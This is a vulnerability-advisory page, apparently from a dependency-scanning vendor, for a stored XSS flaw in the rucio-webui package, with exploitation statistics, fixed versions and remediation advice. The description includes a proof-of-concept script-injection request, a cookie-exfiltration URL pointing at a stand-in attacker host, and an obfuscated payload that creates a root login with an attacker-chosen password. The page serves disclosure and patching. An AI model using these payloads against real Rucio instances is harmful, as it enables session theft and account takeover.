NIST deprecates RSA-2048 from 2030. Find every one of them before attackers do.
🐍
🐍 PyPI
Not in CISA KEV
MEDIUM severity

CVE-2026-25736 — rucio-webui

MEDIUM

CVE-2026-25736 is a medium-severity (CVSS 6.1) Cross-site Scripting (XSS) vulnerability in rucio-webui. A fix is available for rucio-webui — see the affected versions and patch details below.

Rucio WebUI has a Stored Cross-site Scripting (XSS) Vulnerability in its Custom RSE Attribute

Also known asGHSA-fq4f-4738-rqxmPYSEC-2026-3055
Published
Updated
Affected
3 pkgs
Patched
3 / 3
Exploits
None indexed
Exploitation data as of Nov 7, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • A successful exploit gives an attacker total control of the affected component, not partial access.

Exploitation and automatability from CISA’s SSVC triage for CVE-2026-25736.

EPSS Exploitation Probability

via FIRST.org ↗
0.3%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs27th percentile — riskier than 27% of all scored CVEsHighest risk
0.00%0.32%0.64%0.96%0.1%0.3%May 26Sep 26Nov 26

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

How urgent is this, really

Where this sits among everything scored

Real-World Exposure

3 pkgs affected
🐍rucio-webui🐍rucio-webui🐍rucio-webui

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.

Description

Summary

A stored Cross-site Scripting (XSS) vulnerability was identified in the Custom RSE Attribute of the WebUI where attacker-controlled input is persisted by the backend and later rendered in the WebUI without proper output encoding. This allows arbitrary JavaScript execution in the context of the WebUI for users who view affected pages, potentially enabling session token theft or unauthorized actions.


Details

A stored XSS payload can be introduced via a custom RSE attribute value and is later rendered when the RSE is viewed.

Create Path:
Admin > RSE Management > RSE NAME > Add Attribute

Trigger Path:
Admin > RSE Management > RSE NAME

Request

POST /proxy/rses/WEB1/attr/XSS HTTP/1.1
...
{"value":"<script>alert('XSS')</script>"}

Response

HTTP/1.1 201 CREATED
...
Created

Storing XSS Payload in RSE Attribute <img width="1234" height="844" alt="Storing XSS Payload in RSE Attribute" src="https://github.com/user-attachments/assets/d10f58c2-8cea-43a9-bf7f-f94ef3d1fd81" />

XSS Payload triggering when viewing RSE <img width="1248" height="949" alt="XSS Payload triggering when viewing RSE" src="https://github.com/user-attachments/assets/d536fac2-ab44-4cfb-b669-085a8c3db33e" />

Impact

Any authenticated user who views affected resources may execute attacker-controlled JavaScript in the WebUI origin. Depending on the affected feature, this may impact all users or administrative users only.

The impact is amplified by:

  • Session cookies that are accessible to JavaScript (missing HttpOnly flag).
  • API tokens exposed to the WebUI via JavaScript variables.

An attacker would likely attempt to exfiltrate the session token to an external site by setting an encoded version of the cookie as the path of a GET request to an attacker controlled site (i.e GET https://attacker.example.com/rucio/{BASE64_COOKIE}).

Attackers can also perform actions as the victim like creating a new UserPass identity with an attacker known password, creating/deleting an RSE, or exfiltrating data.

XSS Payload to Create Root UserPass

<img src=x onerror=(function(){o={};o.method='PUT';o.credentials='include';o.headers={'X-Rucio-Username':'attackeruser','X-Rucio-Password':'AttackerPassword123','X-Rucio-Email':'[email protected]','X-Rucio-Auth-Token':token};fetch(String.fromCharCode(47)+'identities'+String.fromCharCode(47)+'root'+String.fromCharCode(47)+'userpass',o)})()>

Remediation / Mitigation

All client-side renderings of server-provided or user-controlled data must ensure proper HTML escaping before insertion into the DOM. Unsafe methods such as .html() should be avoided unless the content is explicitly sanitized. Safer alternatives include .text(), creating text nodes, or using a templating system that enforces automatic escaping.

Additional defense-in-depth measures include:

  • Enforcing a strict Content Security Policy (CSP).
  • Setting the HttpOnly flag on session cookies.
  • Avoiding exposure of API tokens in JavaScript-accessible variables.

Note that many pages were found setting the API token as token in an authenticated response like var token = "root-root-webui-...:" (See /ui/list_accounts for example)


Resources

Affected Packages

3 total 3 fixed
EcosystemPackageVulnerable rangeFix
🐍PyPIrucio-webuiall versions35.8.3pip install --upgrade 'rucio-webui==35.8.3'
🐍PyPIrucio-webui≥ 36.0.0rc1&&< 38.5.438.5.4pip install --upgrade 'rucio-webui==38.5.4'
🐍PyPIrucio-webui≥ 39.0.0rc1&&< 39.3.139.3.1pip install --upgrade 'rucio-webui==39.3.1'

Affected Products

1 product · 3 configurations
Application
ruciocern
≥ 39.0.0 && < 39.3.1
range

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for rucio-webui, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update rucio-webui to 35.8.3 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-25736 is resolved across your whole dependency graph.

  3. Workarounds

    Escape or sanitise the affected output on the server side rather than relying on client-side filtering, and add a Content-Security-Policy that blocks inline script execution so injected markup cannot run even if it reaches the page.

Frequently Asked Questions

### Summary A stored Cross-site Scripting (XSS) vulnerability was identified in the Custom RSE Attribute of the WebUI where attacker-controlled input is persisted by the backend and later rendered in the WebUI without proper output encoding. This allows arbitrary JavaScript execution in the context of the WebUI for users who view affected pages, potentially enabling session token theft or unauthorized actions. --- ### Details A stored XSS payload can be introduced via a custom RSE attribute value and is later rendered when the RSE is viewed. **Create Path**: Admin > RSE Management > _RSE N
O3 Security · Impact-Aware SCA

Is CVE-2026-25736 in your dependencies?

Find it across PyPI, including transitive dependencies.

CVE-2026-25736: rucio-webui XSS — Fixed in 35.8.3